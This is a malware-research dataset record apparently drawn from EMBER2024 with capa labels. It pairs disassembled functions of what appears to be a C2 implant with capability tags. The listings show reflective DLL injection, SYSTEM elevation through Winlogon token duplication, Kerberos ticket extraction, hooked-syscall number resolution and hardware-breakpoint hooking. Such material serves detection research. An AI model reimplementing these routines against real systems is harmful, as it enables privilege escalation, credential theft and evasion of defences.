joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000fa70
Capabilities:
Print debug messages

Disassembly:
push r15
push r14
mov r14, rcx
mov ecx, 0x9e2
push r13
push r12
push rbx
sub rsp, 0x20
call sym.PackageCreate
mov rcx, r14
mov r12, rax
call sym.ParserGetInt32
mov rcx, r12
mov r13d, eax
mov rax, qword [0x14002d650]
mov edx, r13d
mov rax, qword [rax]
mov rbx, qword [rax + 0x912]
call sym.PackageAddInt32
cmp r13d, 2
je 0x14000fbd0
jg 0x14000fb02
test r13d, r13d
je 0x14000fb3f
cmp r13d, 1
jne 0x14000fcd7
lea r15, str.CommandTransfer
lea r9, str.Transfer::stop
mov r8d, 0xa51
mov rdx, r15
lea rcx, [0x140027618]
call sym.printf.constprop.0_5
mov rcx, r14
call sym.ParserGetInt32
mov r14d, eax
jmp 0x14000fb92
cmp r13d, 3
jne 0x14000fcd7
lea r13, str.CommandTransfer
lea r9, str.Transfer::remove
mov r8d, 0xa88
mov rdx, r13
lea rcx, [0x140027618]
call sym.printf.constprop.0_5
mov rcx, r14
call sym.ParserGetInt32
mov r14d, eax
jmp 0x14000fc52
lea r9, str.Transfer::list
mov r8d, 0xa40
lea rdx, str.CommandTransfer
lea rcx, [0x140027618]
call sym.printf.constprop.0_5
test rbx, rbx
je 0x14000fcd7
mov edx, dword [rbx]
mov rcx, r12
call sym.PackageAddInt32
mov edx, dword [rbx + 0x20]
mov rcx, r12
call sym.PackageAddInt32
mov edx, dword [rbx + 0x28]
mov rcx, r12
call sym.PackageAddInt32
mov rbx, qword [rbx + 0x30]
jmp 0x14000fb5f
mov rbx, qword [rbx + 0x30]
test rbx, rbx
je 0x14000fbbd
cmp dword [rbx], r14d
jne 0x14000fb8e
mov dword [rbx + 0x28], 2
mov r9d, r14d
mov r8d, 0xa5f
mov rdx, r15
lea rcx, str._DEBUG::_s::_d__Found_download___x__and_stopped_it._n
call sym.DbgPrint
jmp 0x14000fbc0
xor r13d, r13d
mov edx, r13d
mov rcx, r12
call sym.PackageAddInt32
mov edx, r14d
jmp 0x14000fc41
lea r15, str.CommandTransfer
lea r9, str.Transfer::resume
mov r8d, 0xa6c
mov rdx, r15
lea rcx, [0x140027618]
call sym.printf.constprop.0_5
mov rcx, r14
call sym.ParserGetInt32
mov r13d, eax
test rbx, rbx
je 0x14000fc34
cmp dword [rbx], r13d
jne 0x14000fc2e
mov dword [rbx + 0x28], 1
mov rdx, r15
mov r9d, r13d
mov r8d, 0xa7a
lea rcx, str._DEBUG::_s::_d__Found_download___x__and_stopped_it._n
call sym.DbgPrint
mov edx, 1
jmp 0x14000fc36
mov rbx, qword [rbx + 0x30]
jmp 0x14000fbfe
xor edx, edx
mov rcx, r12
call sym.PackageAddInt32
mov edx, r13d
mov rcx, r12
call sym.PackageAddInt32
jmp 0x14000fcd7
mov rbx, qword [rbx + 0x30]
test rbx, rbx
je 0x14000fc82
cmp dword [rbx], r14d
jne 0x14000fc4e
mov dword [rbx + 0x28], 3
mov r9d, r14d
mov r8d, 0xa96
mov rdx, r13
lea rcx, str._DEBUG::_s::_d__Found_download___x__and_stopped_it._n
mov ebx, 1
call sym.DbgPrint
jmp 0x14000fc84
xor ebx, ebx
mov edx, ebx
mov rcx, r12
call sym.PackageAddInt32
mov edx, r14d
mov rcx, r12
call sym.PackageAddInt32
test ebx, ebx
je 0x14000fcd7
mov ecx, 0x9e2
call sym.PackageCreate
mov edx, 3
mov r13, rax
mov rcx, rax
call sym.PackageAddInt32
mov edx, r14d
mov rcx, r13
call sym.PackageAddInt32
mov rcx, r13
mov edx, 1
call sym.PackageAddInt32
mov rcx, r13
call sym.PackageTransmit
add rsp, 0x20
mov rcx, r12
pop rbx
pop r12
pop r13
pop r14
pop r15
jmp sym.PackageTransmit
Function at 0x140012590
Capabilities:
Print debug messages

Disassembly:
push r15
push r14
lea r14, str.DllSpawnReflective
push r13
mov r13, rcx
lea rcx, str._DEBUG::_s::_d__Params___x___d___x___n
push r12
push rbp
mov ebp, edx
mov rdx, r14
push rdi
push rsi
mov esi, r9d
push rbx
mov rbx, r8
sub rsp, 0x68
mov r15, qword [rsp + 0xe0]
mov dword [rsp + 0x20], r9d
mov r9, r8
mov r8d, 0x144
lea rdi, [rsp + 0x48]
mov qword [rsp + 0x28], r15
call sym.DbgPrint
xor eax, eax
mov ecx, 6
rep stosd dword [rdi], eax
mov rcx, rbx
call sym.GetPeArch
dec eax
mov rax, qword [0x14002d650]
mov rax, qword [rax]
jne 0x140012609
mov r8, qword [rax + 0x10c]
jmp 0x140012610
mov r8, qword [rax + 0x104]
lea rax, [rsp + 0x48]
mov dword [rsp + 0x28], 1
xor edx, edx
mov r9d, 0x8000004
mov qword [rsp + 0x20], rax
mov ecx, 1
mov r12d, 0x1003
mov qword [rsp + 0x30], 0
call sym.ProcessCreate
test eax, eax
je 0x1400126c0
mov qword [rsp + 0x38], r15
mov rcx, qword [rsp + 0x48]
mov r9, rbx
mov r8d, ebp
mov rax, qword [rsp + 0xd8]
mov dword [rsp + 0x20], esi
mov rdx, r13
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x28], rax
call sym.DllInjectReflective
mov r12d, eax
test eax, eax
je 0x1400126c0
lea r9, str.Failed
mov r8d, 0x157
mov rdx, r14
lea rcx, [0x14002c210]
call sym.printf.constprop.0_8
mov rcx, qword [rsp + 0x48]
xor edx, edx
call sym.ProcessTerminate
mov rcx, qword [rsp + 0x48]
call sym.SysNtClose
mov rcx, qword [rsp + 0x50]
call sym.SysNtClose
add rsp, 0x68
mov eax, r12d
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1400135a0
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [0x14002d650]
mov rax, qword [rbx]
mov rax, qword [rax + 0x8e6]
test rax, rax
je 0x140013614
cmp dword [rax + 0x100], 0
lea r9, [0x140028b6e]
lea rax, [0x140028b73]
mov r8d, 0x160
cmove r9, rax
lea rdx, str.DotnetPush
lea rcx, str._DEBUG::_s::_d__Instance__Dotnet__Invoked:__s_n
call sym.DbgPrint
mov rax, qword [rbx]
mov rax, qword [rax + 0x8e6]
cmp dword [rax + 0x100], 0
je 0x140013614
call sym.DotnetPushPipe
call sym.DotnetPushPipe
add rsp, 0x20
pop rbx
jmp sym.DotnetClose
add rsp, 0x20
pop rbx
ret

Function at 0x140013620
Capabilities:
Print debug messages

Disassembly:
push r12
push rdi
push rbx
sub rsp, 0x40
mov rbx, qword [0x14002d650]
mov dword [rsp + 0x38], 0
mov rax, qword [rbx]
mov dword [rsp + 0x3c], 0
mov rdx, qword [rax + 0x8e6]
test rdx, rdx
je 0x14001376c
mov rcx, qword [rdx + 0x48]
lea rdx, [rsp + 0x38]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdx
xor edx, edx
mov qword [rsp + 0x28], 0
call qword [rax + 0x360]
test eax, eax
je 0x14001376c
mov r9d, dword [rsp + 0x38]
lea rcx, str._DEBUG::_s::_d__Read:__d_n
mov r8d, 0x143
lea rdx, str.DotnetPushPipe
call sym.DbgPrint
mov ecx, dword [rsp + 0x38]
test ecx, ecx
je 0x14001376c
mov rax, qword [rbx]
mov rdi, qword [rax + 0x8e6]
mov dword [rdi + 0x40], ecx
call sym.MmHeapAlloc
mov r10, qword [rbx]
lea r9, [rsp + 0x3c]
mov qword [rdi + 0x38], rax
mov rax, qword [r10 + 0x8e6]
mov r8d, dword [rax + 0x40]
mov rdx, qword [rax + 0x38]
mov rcx, qword [rax + 0x48]
mov qword [rsp + 0x20], 0
call qword [r10 + 0x398]
mov rax, qword [rbx]
mov edx, dword [rsp + 0x3c]
mov ecx, 0x5a
mov rax, qword [rax + 0x8e6]
mov dword [rax + 0x40], edx
mov edx, dword [rax]
call sym.PackageCreateWithRequestID
mov r12, rax
mov rax, qword [rbx]
mov rcx, r12
mov rax, qword [rax + 0x8e6]
mov rdx, qword [rax + 0x38]
mov r8d, dword [rax + 0x40]
call sym.PackageAddBytes
mov rcx, r12
call sym.PackageTransmit
mov rax, qword [rbx]
mov rax, qword [rax + 0x8e6]
mov rdi, qword [rax + 0x38]
test rdi, rdi
je 0x14001376c
mov ecx, dword [rsp + 0x38]
xor eax, eax
rep stosb byte [rdi], al
mov rax, qword [rbx]
mov rax, qword [rax + 0x8e6]
mov rcx, qword [rax + 0x38]
call sym.MmHeapFree
mov rax, qword [rbx]
mov rax, qword [rax + 0x8e6]
mov qword [rax + 0x38], 0
add rsp, 0x40
pop rbx
pop rdi
pop r12
ret
Function at 0x140013bb0
Capabilities:
Print debug messages

Disassembly:
push r12
mov r9d, ecx
push rbx
sub rsp, 0x28
mov rax, qword [0x14002d650]
mov rax, qword [rax]
mov rbx, qword [rax + 0x912]
mov r12, rbx
test r12, r12
je 0x140013c14
cmp dword [r12], r9d
jne 0x140013c0a
mov r8d, 0x49
lea rdx, str.DownloadRemove
lea rcx, str._DEBUG::_s::_d__Found_Download___x__n
call sym.DbgPrint
mov rax, qword [r12 + 0x30]
mov rcx, r12
mov qword [rbx + 0x30], rax
call sym.DownloadFree
mov eax, 1
jmp 0x140013c16
mov rbx, r12
mov r12, qword [r12 + 0x30]
jmp 0x140013bce
xor eax, eax
add rsp, 0x28
pop rbx
pop r12
ret
Function at 0x140013c20
Capabilities:
Print debug messages

Disassembly:
push r14
mov ecx, 0x1a
push r13
push r12
xor r12d, r12d
push rdi
mov eax, r12d
sub rsp, 0x68
mov qword [rsp + 0x30], 0
lea rdi, [rsp + 0x46]
rep stosb byte [rdi], al
mov ecx, 0x65
mov qword [rsp + 0x38], 0
lea rdi, [rsp + 0x46]
call sym.HideChar
mov ecx, 0x6f
movzx eax, al
mov word [rsp + 0x5c], ax
call sym.HideChar
mov ecx, 0x6e
movzx eax, al
mov word [rsp + 0x4e], ax
call sym.HideChar
mov ecx, 0x6f
movzx eax, al
mov word [rsp + 0x4a], ax
call sym.HideChar
mov ecx, 0x6e
movzx eax, al
mov word [rsp + 0x52], ax
call sym.HideChar
mov ecx, 0x67
movzx eax, al
mov word [rsp + 0x54], ax
call sym.HideChar
xor ecx, ecx
movzx eax, al
mov word [rsp + 0x50], ax
call sym.HideChar
mov ecx, 0x6c
movzx eax, al
mov word [rsp + 0x5e], ax
call sym.HideChar
mov ecx, 0x65
movzx eax, al
mov word [rsp + 0x4c], ax
call sym.HideChar
mov ecx, 0x2e
movzx eax, al
mov word [rsp + 0x58], ax
call sym.HideChar
mov ecx, 0x69
movzx eax, al
mov word [rsp + 0x56], ax
call sym.HideChar
mov ecx, 0x77
movzx eax, al
mov word [rsp + 0x48], ax
call sym.HideChar
mov ecx, 0x78
movzx eax, al
mov word [rsp + 0x46], ax
call sym.HideChar
mov rcx, rdi
movzx eax, al
mov word [rsp + 0x5a], ax
call sym.GetProcessIdByName
mov ecx, 0x1a
mov r8d, eax
mov eax, r12d
rep stosb byte [rdi], al
cmp r8d, 0xffffffff
jne 0x140013d7b
lea r9, str.Failed_to_find_the_PID_of_Winlogon.exe
mov r8d, 0x59
lea rdx, str.ElevateToSystem
lea rcx, [0x1400297c0]
call sym.printf.constprop.0_6
jmp 0x140013ea1
mov edx, 0x1000
mov ecx, r8d
call sym.ProcessOpen
mov r13, rax
test rax, rax
je 0x140013e73
lea r8, [rsp + 0x38]
mov edx, 0xe
mov rcx, rax
call sym.SysNtOpenProcessToken
mov r14d, eax
test eax, eax
js 0x140013e37
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
mov edx, 0x18b
mov r9d, 1
mov qword [rsp + 0x20], rax
mov r8d, 3
call sym.TokenDuplicate
mov r12d, eax
test eax, eax
je 0x140013dfc
mov rcx, qword [rsp + 0x30]
xor r12d, r12d
call sym.SysImpersonateLoggedOnUser
mov rcx, qword [rsp + 0x30]
test eax, eax
setne r12b
call sym.SysNtClose
jmp 0x140013e2b
mov rax, qword [0x14002d650]
mov ecx, r14d
mov rax, qword [rax]
call qword [rax + 0x160]
mov r8d, 0x70
lea rdx, str.ElevateToSystem
lea rcx, str._DEBUG::_s::_d__TokenDuplicate:_Failed___d__n
mov r9d, eax
call sym.DbgPrint
mov rcx, qword [rsp + 0x38]
call sym.SysNtClose
jmp 0x140013e69
mov rax, qword [0x14002d650]
mov ecx, r14d
xor r12d, r12d
mov rax, qword [rax]
call qword [rax + 0x160]
mov r8d, 0x76
lea rdx, str.ElevateToSystem
lea rcx, str._DEBUG::_s::_d__NtOpenProcessToken:_Failed___d__n
mov r9d, eax
call sym.DbgPrint
mov rcx, r13
call sym.SysNtClose
jmp 0x140013ea4
mov rax, qword [0x14002d650]
xor ecx, ecx
mov rax, qword [rax]
call qword [rax + 0x160]
mov r8d, 0x7d
lea rdx, str.ElevateToSystem
lea rcx, str._DEBUG::_s::_d__NtOpenProcessToken:_Failed___d__n
mov r9d, eax
call sym.DbgPrint
xor r12d, r12d
add rsp, 0x68
mov eax, r12d
pop rdi
pop r12
pop r13
pop r14
ret
Function at 0x140013f30
Capabilities:
Print debug messages

Disassembly:
mov rdx, qword [rcx]
cmp dword [rdx], 0x80000004
jne 0x140013ffc
push r13
lea r13, str.ExceptionHandler
mov r8d, 0x148
push r12
mov r12, rcx
lea rcx, str._DEBUG::_s::_d__Exception_Address:__p_n
push rbx
sub rsp, 0x20
mov r9, qword [rdx + 0x10]
mov rdx, r13
call sym.DbgPrint
mov rax, qword [0x14002d650]
mov rax, qword [rax]
mov rax, qword [rax + 0x93a]
mov rbx, qword [rax + 0x10]
test rbx, rbx
je 0x140013fd2
mov rax, qword [r12]
mov rdx, qword [rbx + 8]
cmp rdx, qword [rax + 0x10]
jne 0x140013fcc
movzx r8d, byte [rbx + 0x18]
mov ecx, dword [rbx]
xor r9d, r9d
call sym.HwBpEngineSetBp
mov rcx, r12
call qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov ecx, dword [rbx]
mov r9d, 1
movzx r8d, byte [rbx + 0x18]
mov ebx, 1
call sym.HwBpEngineSetBp
lea r9, [0x1400294a4]
jmp 0x140013fd9
mov rbx, qword [rbx + 0x20]
jmp 0x140013f80
lea r9, [0x1400294a9]
mov rdx, r13
mov r8d, 0x163
lea rcx, str._DEBUG::_s::_d__Found_exception_handler:__s_n
call sym.DbgPrint
add rsp, 0x20
mov eax, ebx
neg eax
pop rbx
pop r12
pop r13
ret
xor eax, eax
ret

Function at 0x140014000
Capabilities:
Print debug messages

Disassembly:
push rbp
mov rbp, rsp
push r15
mov r15d, edx
push r14
mov r14, rcx
mov ecx, 0x40
push r13
push r12
push rdi
mov rdi, r8
push rsi
push rbx
and rsp, 0xfffffffffffffff0
sub rsp, 0x60
mov rbx, qword [r9]
mov r13, qword [0x14002d650]
mov qword [rsp + 0x58], 0
mov rsi, qword [r9 + 8]
mov rax, rbx
mov edx, ebx
mov dword [rsp + 0x54], 0xc0000001
shr rax, 0x10
shr edx, 0x10
mov qword [rsp + 0x48], rax
mov rax, qword [r13]
add edx, 0x40
mov dword [rsp + 0x50], edx
shl rdx, 6
call qword [rax + 0x3a8]
test rax, rax
je 0x140014170
mov qword [rax + 4], rdi
mov r12, rax
movzx ecx, word [rsp + 0x48]
lea rdx, [rsp + 0x54]
mov dword [rax], 8
mov eax, 1
mov r8, r12
shl rax, 0x23
mov qword [r12 + 0x10], rbx
mov qword [r12 + 0x20], rax
lea rax, [r12 + 0x40]
mov qword [r12 + 0x18], rax
mov rdi, rax
mov dword [r12 + 0x28], 0
rep movsb byte [rdi], byte [rsi]
mov rcx, r14
mov rax, qword [r13]
mov r9d, dword [rsp + 0x50]
mov qword [rsp + 0x30], rdx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 0x58]
mov qword [rsp + 0x20], rdx
mov edx, r15d
call qword [rax + 0x7b0]
mov r9d, eax
or eax, dword [rsp + 0x54]
js 0x140014136
mov rax, qword [rsp + 0x58]
mov ecx, 0x40
mov r14d, dword [rax + 0x88]
mov rax, qword [r13]
mov rdx, r14
call qword [rax + 0x3a8]
test rax, rax
je 0x14001414f
mov rdx, qword [rsp + 0x58]
mov rdi, rax
mov rcx, r14
mov rsi, qword [rdx + 0x90]
mov rdx, qword [rbp + 0x30]
rep movsb byte [rdi], byte [rsi]
mov qword [rdx], rax
mov rax, qword [rbp + 0x38]
mov dword [rax], r14d
jmp 0x14001414f
mov r8d, 0x148
lea rdx, str.ExtractTicket
lea rcx, str._DEBUG::_s::_d______LsaCallAuthenticationPackage:__lx_n
call sym.DbgPrint
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140014163
mov rax, qword [r13]
call qword [rax + 0x7e8]
mov rax, qword [r13]
mov rcx, r12
call qword [rax + 0x3b0]
lea rsp, [rbp - 0x38]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x140014190
Capabilities:
Print debug messages

Disassembly:
push r14
mov r9, rcx
mov r8d, 0xd1
push r13
mov r13, rcx
lea rcx, str._DEBUG::_s::_d__The_syscall_at_address_0x_p_seems_to_be_hooked__trying_to_resolve_its_Ssn_via_neighbouring_syscalls..._n
push r12
lea r12, str.FindSsnOfHookedSyscall
push rbp
push rdi
mov rdi, rdx
mov rdx, r12
push rsi
push rbx
sub rsp, 0x30
mov word [rsp + 0x2e], 0
call sym.DbgPrint
call sym.GetSyscallSize
test eax, eax
jne 0x1400141f3
lea r9, str.Failed_to_obtain_the_size_of_the_syscalls_stub
mov r8d, 0xd4
mov rdx, r12
lea rcx, [0x14002abc0]
call sym.printf.constprop.0_12
xor eax, eax
jmp 0x14001425a
mov ebp, eax
mov r12d, eax
lea r14, [rsp + 0x2e]
mov ebx, 1
mov esi, r12d
xor r9d, r9d
xor edx, edx
mov r8, r14
lea rcx, [r13 + rsi]
call sym.SysExtract
test eax, eax
je 0x140014227
mov ax, word [rsp + 0x2e]
sub eax, ebx
mov word [rdi], ax
jmp 0x140014246
mov rcx, r13
xor r9d, r9d
xor edx, edx
mov r8, r14
sub rcx, rsi
call sym.SysExtract
test eax, eax
je 0x14001424d
add bx, word [rsp + 0x2e]
mov word [rdi], bx
mov eax, 1
jmp 0x14001425a
inc ebx
add r12d, ebp
cmp ebx, 0x1f4
jne 0x140014202
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret

Function at 0x140015620
Capabilities:
Enumerate pe sections
Print debug messages
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
mov r12, rcx
push rbp
mov rdx, r12
push rdi
xor edi, edi
push rsi
push rbx
sub rsp, 0x28
movsxd rax, dword [rcx + 0x3c]
mov ecx, dword [rcx + rax + 0x88]
call sym.Rva2Offset
mov rdx, r12
mov ebx, eax
add rbx, r12
mov ecx, dword [rbx + 0x20]
call sym.Rva2Offset
mov ecx, dword [rbx + 0x24]
mov rdx, r12
mov r13d, eax
call sym.Rva2Offset
mov r15d, dword [rbx + 0x18]
add r13, r12
mov ebp, eax
add rbp, r12
lea r14, [rdi + rdi]
add r14, rbp
cmp r15, rdi
je 0x140015706
mov ecx, dword [r13 + rdi*4]
mov rdx, r12
call sym.Rva2Offset
mov esi, eax
add rsi, r12
mov rcx, rsi
call sym.HashStringA
cmp eax, 0xa6caa1c5
jne 0x1400156ee
mov r9, rsi
mov r8d, 0x3a
lea rdx, str.GetReflectiveLoaderOffset
lea rcx, str._DEBUG::_s::_d__FunctionName____s_n
call sym.DbgPrint
mov ecx, dword [rbx + 0x1c]
mov rdx, r12
call sym.Rva2Offset
movzx edx, word [r14]
mov eax, eax
add rax, r12
mov ecx, dword [rax + rdx*4]
add rsp, 0x28
mov rdx, r12
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp sym.Rva2Offset
mov rcx, rsi
inc rdi
call sym.HashStringA
cmp eax, 0xffe885ef
jne 0x140015672
jmp 0x1400156a3
add rsp, 0x28
xor eax, eax
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1400157a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, qword [0x14002d650]
push r12
xor r8d, r8d
push rbp
push rdi
push rsi
push rbx
mov rbx, qword [rax]
mov rax, qword [rbx + 0x84a]
test rax, rax
je 0x140015855
mov r8d, dword [rbx + 0x800]
test r8d, r8d
jne 0x140015855
movsxd rdx, dword [rax + 0x3c]
xor ecx, ecx
mov edx, dword [rax + rdx + 0x88]
add rdx, rax
mov edi, dword [rdx + 0x20]
mov r10d, dword [rdx + 0x1c]
mov esi, dword [rdx + 0x24]
mov ebp, dword [rdx + 0x18]
xor edx, edx
add r10, rax
add rdi, rax
add rsi, rax
cmp ebp, ecx
jbe 0x14001584e
mov r9d, dword [rdi + rcx*4]
cmp word [rax + r9], 0x775a
jne 0x140015849
test rdx, rdx
movzx r9d, word [rsi + rcx*2]
jne 0x14001581f
mov edx, dword [r10 + r9*4]
add rdx, rax
jmp 0x140015849
mov r9d, dword [r10 + r9*4]
mov r11, rdx
add r9, rax
mov r12, r9
sub r11, r9
sub r12, rdx
cmp rdx, r9
mov r9d, r12d
cmova r9d, r11d
test r8d, r8d
je 0x140015846
cmp r8d, r9d
jbe 0x140015849
mov r8d, r9d
inc rcx
jmp 0x1400157fb
mov dword [rbx + 0x800], r8d
pop rbx
mov eax, r8d
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140015c60
Capabilities:
Hash data using djb2

Disassembly:
xor eax, eax
test rcx, rcx
je 0x140015cad
mov r10, rcx
mov eax, 0x1505
mov r9b, byte [r10]
test edx, edx
jne 0x140015c7c
test r9b, r9b
jne 0x140015c8f
ret
mov r11, r10
sub r11, rcx
cmp edx, r11d
jbe 0x140015cad
cmp r9b, 1
adc r10, 0
cmp r9b, 0x60
jbe 0x140015c9e
test r8d, r8d
je 0x140015c9e
sub r9d, 0x20
imul eax, eax, 0x21
movzx r9d, r9b
inc r10
add eax, r9d
jmp 0x140015c6f
ret

Function at 0x140015cb0
Capabilities:
Hash data using djb2

Disassembly:
mov eax, 0x1505
movsx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140015cc6
imul eax, eax, 0x21
add eax, edx
jmp 0x140015cb5
ret

Function at 0x140015ce0
Capabilities:
Print debug messages

Disassembly:
push r12
mov r9, rcx
push rdi
mov edi, r8d
push rsi
mov rsi, rcx
lea rcx, str._DEBUG::_s::_d__Host____Host:__ls__Size:__ld__Port:__ld__n
push rbx
mov rbx, rdx
sub rsp, 0x38
mov dword [rsp + 0x28], r8d
mov r8d, 0x167
mov qword [rsp + 0x20], rdx
lea rdx, str.HostAdd
call sym.DbgPrint
mov ecx, 0x20
call sym.MmHeapAlloc
lea ecx, [rbx + 2]
mov r12, rax
call sym.MmHeapAlloc
mov rdx, qword [0x14002d650]
mov dword [r12 + 8], edi
mov qword [r12], rax
mov rdi, rax
mov dword [r12 + 0x10], 0
mov rcx, qword [rdx]
mov rcx, qword [rcx + 0x7c]
mov qword [r12 + 0x18], rcx
mov rcx, rbx
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rdx]
mov qword [rax + 0x7c], r12
add rsp, 0x38
mov rax, r12
pop rbx
pop rsi
pop rdi
pop r12
ret
Function at 0x140015de0
Capabilities:
Print debug messages

Disassembly:
push r12
mov r12, rcx
sub rsp, 0x30
test rcx, rcx
je 0x140015e48
mov rdx, qword [0x14002d650]
mov eax, dword [rcx + 0xc]
mov rdx, qword [rdx]
cmp eax, dword [rdx + 0x96]
jne 0x140015e1c
mov dword [rcx + 0x10], 1
movsx ecx, word [rdx + 0x90]
add rsp, 0x30
pop r12
jmp sym.HostRotation
inc eax
mov r8d, 0x18c
lea rdx, str.HostFailure
mov dword [rcx + 0xc], eax
mov dword [rsp + 0x28], eax
mov eax, dword [rcx + 8]
mov dword [rsp + 0x20], eax
mov r9, qword [rcx]
lea rcx, str._DEBUG::_s::_d__Host__Host:__ls:_ld__failure_counter_increased_to__d_n
call sym.DbgPrint
add rsp, 0x30
mov rax, r12
pop r12
ret

Function at 0x140015e60
Capabilities:
Print debug messages

Disassembly:
push r13
push r12
sub rsp, 0x48
call sym.RandomNumber32
mov ecx, eax
call sym.HostCount
xor edx, edx
mov r8d, eax
mov eax, ecx
div r8d
mov rax, qword [0x14002d650]
mov rax, qword [rax]
mov r12, qword [rax + 0x7c]
xor eax, eax
mov r9d, edx
cmp eax, r9d
je 0x140015ecb
test r12, r12
je 0x140015ea9
mov r12, qword [r12 + 0x18]
test r12, r12
je 0x140015ea9
inc eax
jmp 0x140015e91
mov r8d, 0x1af
lea rdx, str.HostRandom
lea rcx, str._DEBUG::_s::_d__Index:__d_n
call sym.DbgPrint
mov eax, dword [0xc]
ud2
lea r13, str.HostRandom
mov r9d, eax
mov r8d, 0x1af
mov rdx, r13
lea rcx, str._DEBUG::_s::_d__Index:__d_n
call sym.DbgPrint
cmp dword [r12 + 0x10], 0
mov edx, dword [r12 + 0xc]
lea rcx, [0x14002b663]
lea rax, [0x14002b65e]
mov r9, r12
mov r8d, 0x1b0
cmove rax, rcx
mov dword [rsp + 0x38], edx
lea rcx, str._DEBUG::_s::_d__Host_:__p___ls:_ld_::_Dead__s__::_Failures__d___n
mov rdx, r13
mov qword [rsp + 0x30], rax
mov eax, dword [r12 + 8]
mov dword [rsp + 0x28], eax
mov rax, qword [r12]
mov qword [rsp + 0x20], rax
call sym.DbgPrint
add rsp, 0x48
mov rax, r12
pop r12
pop r13
ret
Function at 0x140016910
Capabilities:
Print debug messages

Disassembly:
push r15
lea r15, str.HwBpEngineAdd
push r14
push r13
push r12
push rbp
mov rbp, r9
push rdi
mov edi, edx
push rsi
mov rsi, r8
push rbx
mov rbx, rcx
sub rsp, 0x48
mov r14d, dword [rsp + 0xb0]
mov qword [rsp + 0x30], r9
mov r9, rcx
lea rcx, str._DEBUG::_s::_d__Engine:__p__Tid:__d__Address:__p__Function:__p__Position:__d__n
mov qword [rsp + 0x28], r8
mov r8d, 0xa2
movzx r13d, r14b
mov dword [rsp + 0x20], edx
mov rdx, r15
mov dword [rsp + 0x38], r13d
call sym.DbgPrint
test rbx, rbx
jne 0x14001698b
mov rax, qword [0x14002d650]
mov rdx, qword [rax]
mov eax, 0xc000000d
cmp qword [rdx + 0x93a], 0
je 0x140016a48
test rsi, rsi
je 0x140016a43
test rbp, rbp
je 0x140016a43
test rbx, rbx
jne 0x1400169b3
mov rax, qword [0x14002d650]
mov rax, qword [rax]
mov rbx, qword [rax + 0x93a]
mov ecx, 0x28
call sym.MmHeapAlloc
mov r9d, 1
mov r8d, r13d
mov ecx, edi
mov dword [rax], edi
mov r12, rax
mov rdx, rsi
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rbp
mov byte [rax + 0x18], r14b
mov rax, qword [rbx + 0x10]
mov qword [r12 + 0x20], rax
call sym.HwBpEngineSetBp
test eax, eax
jns 0x140016a19
lea r9, str._HWBP__Failed_to_set_hardware_breakpoint
mov r8d, 0xbd
mov rdx, r15
lea rcx, [0x140029450]
call sym.printf.constprop.0_11
mov rcx, r12
call sym.MmHeapFree
mov eax, 0xc0000001
jmp 0x140016a48
mov dword [rsp + 0x28], r13d
mov r9d, edi
mov rdx, r15
mov r8d, 0xc0
mov qword [rsp + 0x20], rsi
lea rcx, str._DEBUG::_s::_d___HWBP__Added_hardware_breakpoint:_Tid:__d__Addr:__p__Pos:__d__n
call sym.DbgPrint
mov qword [rbx + 0x10], r12
xor eax, eax
jmp 0x140016a48
mov eax, 0xc000000d
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret